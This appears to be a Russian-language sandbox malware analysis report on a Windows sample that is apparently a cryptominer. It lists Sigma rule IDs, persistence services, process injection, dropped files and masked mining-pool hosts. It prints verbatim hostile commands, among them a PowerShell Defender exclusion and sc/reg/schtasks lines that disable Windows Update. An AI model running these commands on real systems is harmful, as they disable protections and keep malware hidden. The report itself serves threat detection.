Техническая информация
Отработавшее пользовательское сигма правило:
- 85ff530b-261d-48c6-a441-facaa2e81e48
- f01d1f70-cd41-42ec-9c0b-26dd9c22bf29
- 17769c90-230e-488b-a463-e05c08e9d48f
- f4bbd493-b796-416e-bbf2-121235348529
- 85c312b7-f44d-4a51-a024-d671c40b49fc
- 81bcb81b-5b1f-474b-b373-52c871aaa7b1
- 612e47e9-8a59-43a6-b404-f48683f45bd6
- 05b2aa93-1210-42c8-8d9a-2fcc13b284f5
- ce72ef99-22f1-43d4-8695-419dcb5d9330
- 9ac94dc8-9042-493c-ba45-3b5e7c86b980
- d88d0ab2-e696-4d40-a2ed-9790064e66b3
- d223b46b-5621-4037-88fe-fda32eead684
- f17211f1-1f24-4d0c-829f-31e28dc93cdd
- 01d2e2a1-5f09-44f7-9fc1-24faa7479b6d
- cbb9e3d1-2386-4e59-912e-62f1484f7a89
- fa5b1358-b040-4403-9868-15f7d9ab6329
- 26481afe-db26-4228-b264-25a29fe6efc7
Для обеспечения автозапуска и распространения
Устанавливает следующие настройки сервисов
- [HKLM\SYSTEM\CurrentControlSet\Services\MicrosoftEdgeUpdateTaskMachine_3aa5] 'Start' = '00000002'
- [HKLM\SYSTEM\CurrentControlSet\Services\MicrosoftEdgeUpdateTaskMachine_3aa5] 'ImagePath' = '%ALLUSERSPROFILE%\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe'
- [HKLM\SYSTEM\CurrentControlSet\Services\xjxslijout] 'ImagePath' = '<SYSTEM32>\svchost.exe -k netsvcs -p'
- [HKLM\SYSTEM\CurrentControlSet\Services\kkriwnvfyo] 'ImagePath' = '<SYSTEM32>\svchost.exe -k wusvcs -p'
- [HKLM\SYSTEM\CurrentControlSet\Services\zivmdcjyle] 'ImagePath' = '<SYSTEM32>\svchost.exe -k netsvcs -p'
- [HKLM\SYSTEM\CurrentControlSet\Services\zweyehueag] 'ImagePath' = '<SYSTEM32>\svchost.exe -k netsvcs -p'
- [HKLM\SYSTEM\CurrentControlSet\Services\hkxkhzetbi] 'ImagePath' = '<SYSTEM32>\svchost.exe -k NetworkService -p'
- [HKLM\SYSTEM\CurrentControlSet\Services\oeoajqda] 'ImagePath' = '%WINDIR%\TEMP\oeoajqda.sys'
- [HKLM\SYSTEM\CurrentControlSet\Services\RasConnectionManager_9d4d] 'Start' = '00000002'
- [HKLM\SYSTEM\CurrentControlSet\Services\RasConnectionManager_9d4d] 'ImagePath' = '%ALLUSERSPROFILE%MicrosoftWindowsSchCache\NetworkListService22e8.exe'
Создает следующие сервисы
- 'MicrosoftEdgeUpdateTaskMachine_3aa5' %ALLUSERSPROFILE%\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe
- 'oeoajqda' %WINDIR%\TEMP\oeoajqda.sys
- 'RasConnectionManager_9d4d' %ALLUSERSPROFILE%MicrosoftWindowsSchCache\NetworkListService22e8.exe
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Обновления системы (Windows Update)
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData, $env:TEMP) -ExclusionExtension @('.exe', '.sys') -Force
Внедряет код в
следующие системные процессы:
- <SYSTEM32>\nslookup.exe
- <SYSTEM32>\svchost.exe
Изменения в файловой системе
Создает следующие файлы
- %ALLUSERSPROFILE%\microsoft\network\diagnostics\73bf5f50\lockapphost14a02b.exe
- %WINDIR%\temp\__psscriptpolicytest_z4kvubro.a1q.ps1
- %WINDIR%\temp\__psscriptpolicytest_2trr52un.pug.psm1
- %WINDIR%\temp\content\4888-3788-powershell.exe-15-21-45-641.dump
- %WINDIR%\temp\content\4888-3788-powershell.exe-15-21-46-041.dump
- %WINDIR%\temp\content\4888-3788-powershell.exe-15-21-46-162.dump
- %WINDIR%\temp\content\4888-3788-powershell.exe-15-21-46-357.dump
- %WINDIR%\temp\content\4888-3788-powershell.exe-15-21-46-404.dump
- %WINDIR%\temp\__psscriptpolicytest_0ms5bafd.4nk.ps1
- %WINDIR%\temp\__psscriptpolicytest_yx4zyieh.3ih.psm1
- %WINDIR%\temp\content\4888-3788-powershell.exe-15-21-46-674.dump
- %WINDIR%\temp\content\4888-3788-powershell.exe-15-21-46-705.dump
- %WINDIR%\temp\content\4888-3788-powershell.exe-15-21-46-774.dump
- %WINDIR%\temp\content\4888-3788-powershell.exe-15-21-46-906.dump
- %WINDIR%\temp\content\4888-3788-powershell.exe-15-21-47-113.dump
- %WINDIR%\temp\content\4888-3788-powershell.exe-15-21-47-368.dump
- %WINDIR%\temp\content\4888-3788-powershell.exe-15-21-47-584.dump
- %WINDIR%\temp\content\4888-3788-powershell.exe-15-21-47-631.dump
- %WINDIR%\temp\content\4888-3788-powershell.exe-15-21-47-669.dump
- %WINDIR%\temp\content\4888-3788-powershell.exe-15-21-47-715.dump
- %WINDIR%\temp\content\4888-3788-powershell.exe-15-21-47-762.dump
- %WINDIR%\temp\content\4888-3788-powershell.exe-15-21-47-800.dump
- %WINDIR%\temp\content\4888-3788-powershell.exe-15-21-47-848.dump
- %WINDIR%\temp\content\4888-3788-powershell.exe-15-21-48-689.dump
- %WINDIR%\temp\content\4888-3788-powershell.exe-15-21-48-789.dump
- %WINDIR%\temp\content\4888-3788-powershell.exe-15-21-48-820.dump
- %WINDIR%\temp\content\4888-3788-powershell.exe-15-21-48-836.dump
- %WINDIR%\temp\content\4888-3788-powershell.exe-15-21-48-890.dump
- %WINDIR%\temp\content\4888-3788-powershell.exe-15-21-48-921.dump
- %WINDIR%\temp\content\4888-3788-powershell.exe-15-21-48-990.dump
- <SYSTEM32>\config\systemprofile\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive
- %WINDIR%\temp\__psscriptpolicytest_jg1ff3fa.smm.ps1
- %WINDIR%\temp\__psscriptpolicytest_awevzwmh.xzq.psm1
- %WINDIR%\temp\content\2076-3232-powershell.exe-15-21-50-797.dump
- %WINDIR%\temp\content\2076-3232-powershell.exe-15-21-51-029.dump
- %WINDIR%\temp\content\2076-3232-powershell.exe-15-21-51-099.dump
- %WINDIR%\temp\content\2076-3232-powershell.exe-15-21-51-237.dump
- %WINDIR%\temp\content\2076-3232-powershell.exe-15-21-51-268.dump
- %WINDIR%\temp\__psscriptpolicytest_xznt1jse.ilv.ps1
- %WINDIR%\temp\__psscriptpolicytest_y10mhdx2.zej.psm1
- %WINDIR%\temp\content\2076-3232-powershell.exe-15-21-51-415.dump
- %WINDIR%\temp\content\2076-3232-powershell.exe-15-21-51-437.dump
- %WINDIR%\temp\content\2076-3232-powershell.exe-15-21-51-484.dump
- %WINDIR%\temp\content\2076-3232-powershell.exe-15-21-51-569.dump
- %WINDIR%\temp\content\2076-3232-powershell.exe-15-21-51-701.dump
- %WINDIR%\temp\content\2076-3232-powershell.exe-15-21-51-856.dump
- %WINDIR%\temp\content\2076-3232-powershell.exe-15-21-51-903.dump
- %WINDIR%\temp\content\2076-3232-powershell.exe-15-21-51-987.dump
- %WINDIR%\temp\content\2076-3232-powershell.exe-15-21-52-019.dump
- %WINDIR%\temp\content\2076-3232-powershell.exe-15-21-52-057.dump
- %WINDIR%\temp\content\2076-3232-powershell.exe-15-21-52-257.dump
- %WINDIR%\temp\content\2076-3232-powershell.exe-15-21-52-304.dump
- %WINDIR%\temp\oeoajqda.sys
Удаляет файлы, которые сам же создал
- %WINDIR%\temp\__psscriptpolicytest_z4kvubro.a1q.ps1
- %WINDIR%\temp\__psscriptpolicytest_2trr52un.pug.psm1
- %WINDIR%\temp\__psscriptpolicytest_0ms5bafd.4nk.ps1
- %WINDIR%\temp\__psscriptpolicytest_yx4zyieh.3ih.psm1
- %WINDIR%\temp\__psscriptpolicytest_jg1ff3fa.smm.ps1
- %WINDIR%\temp\__psscriptpolicytest_awevzwmh.xzq.psm1
- %WINDIR%\temp\__psscriptpolicytest_xznt1jse.ilv.ps1
- %WINDIR%\temp\__psscriptpolicytest_y10mhdx2.zej.psm1
Самоперемещается
- из <Полный путь к файлу> в \:r
Сетевая активность
Подключается к
- 'po######public.nodies.app':443
- 'po####n.drpc.org':443
- 'rp#.#entio.xyz':443
- 'po#####.api.onfinality.io':443
- 'x1.#.lencr.org':80
- 'yr.#.lencr.org':80
- 'yr#.#.lencr.org':80
- 'po##.#upportxmr.com':443
TCP
Запросы HTTP GET
- http://yr.#.lencr.org/
- http://yr#.#.lencr.org/25.crl
Другие
- 'po######public.nodies.app':443
- 'po#####.api.onfinality.io':443
- 'po##.#upportxmr.com':443
UDP
- DNS ASK po######public.nodies.app
- DNS ASK po####n.drpc.org
- DNS ASK rp#.#entio.xyz
- DNS ASK po#####.api.onfinality.io
- DNS ASK x1.#.lencr.org
- DNS ASK yr.#.lencr.org
- DNS ASK yr#.#.lencr.org
- DNS ASK po##.#upportxmr.com
Другое
Создает и запускает на исполнение
- '%ALLUSERSPROFILE%\microsoft\network\diagnostics\73bf5f50\lockapphost14a02b.exe'
Запускает на исполнение
- '<SYSTEM32>\sc.exe' delete "MicrosoftEdgeUpdateTaskMachine_3aa5" (со скрытым окном)
- '<SYSTEM32>\sc.exe' create "MicrosoftEdgeUpdateTaskMachine_3aa5" binpath= "%ALLUSERSPROFILE%\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe" start= "auto" (со скрытым окном)
- '<SYSTEM32>\sc.exe' start "MicrosoftEdgeUpdateTaskMachine_3aa5" (со скрытым окном)
- '<SYSTEM32>\nslookup.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-O... (со скрытым окном)
- '<SYSTEM32>\sc.exe' config WaaSMedicSvc start= disabled (со скрытым окном)
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc (со скрытым окном)
- '<SYSTEM32>\sc.exe' config UsoSvc start= disabled (со скрытым окном)
- '<SYSTEM32>\sc.exe' stop UsoSvc (со скрытым окном)
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" "HKLM\SYSTEM\CurrentControlSet\Services\xjxslijout" /s /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" "HKLM\SYSTEM\CurrentControlSet\Services\kkriwnvfyo" /s /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f (со скрытым окном)
- '<SYSTEM32>\sc.exe' config wuauserv start= disabled (со скрытым окном)
- '<SYSTEM32>\sc.exe' stop wuauserv (со скрытым окном)
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" "HKLM\SYSTEM\CurrentControlSet\Services\zivmdcjyle" /s /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f (со скрытым окном)
- '<SYSTEM32>\sc.exe' config BITS start= disabled (со скрытым окном)
- '<SYSTEM32>\sc.exe' stop BITS (со скрытым окном)
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\BITS" "HKLM\SYSTEM\CurrentControlSet\Services\zweyehueag" /s /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\BITS" /f (со скрытым окном)
- '<SYSTEM32>\sc.exe' config dosvc start= disabled (со скрытым окном)
- '<SYSTEM32>\sc.exe' stop dosvc (со скрытым окном)
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" "HKLM\SYSTEM\CurrentControlSet\Services\hkxkhzetbi" /s /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /Disable (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /Disable (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /Disable (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan" /Disable (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan Static Task" /Disable (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Work" /Disable (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work" /Disable (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker" /Disable (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_AC" /Disable (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_Battery" /Disable (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WaaSMedic\PerformRemediation" /Disable (со скрытым окном)
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0 (со скрытым окном)
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0 (со скрытым окном)
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0 (со скрытым окном)
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0 (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\MRT\MRT_HB" /Disable (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows Removal Tools\MRT_HB" /Disable (со скрытым окном)
- '<SYSTEM32>\svchost.exe'
- '<SYSTEM32>\sc.exe' delete "RasConnectionManager_9d4d" (со скрытым окном)
- '<SYSTEM32>\sc.exe' create "RasConnectionManager_9d4d" binpath= "%ALLUSERSPROFILE%MicrosoftWindowsSchCache\NetworkListService22e8.exe" start= "auto" (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData, $env:TEMP) -ExclusionExtension @('.exe', '.sys') -Force (со скрытым окном)
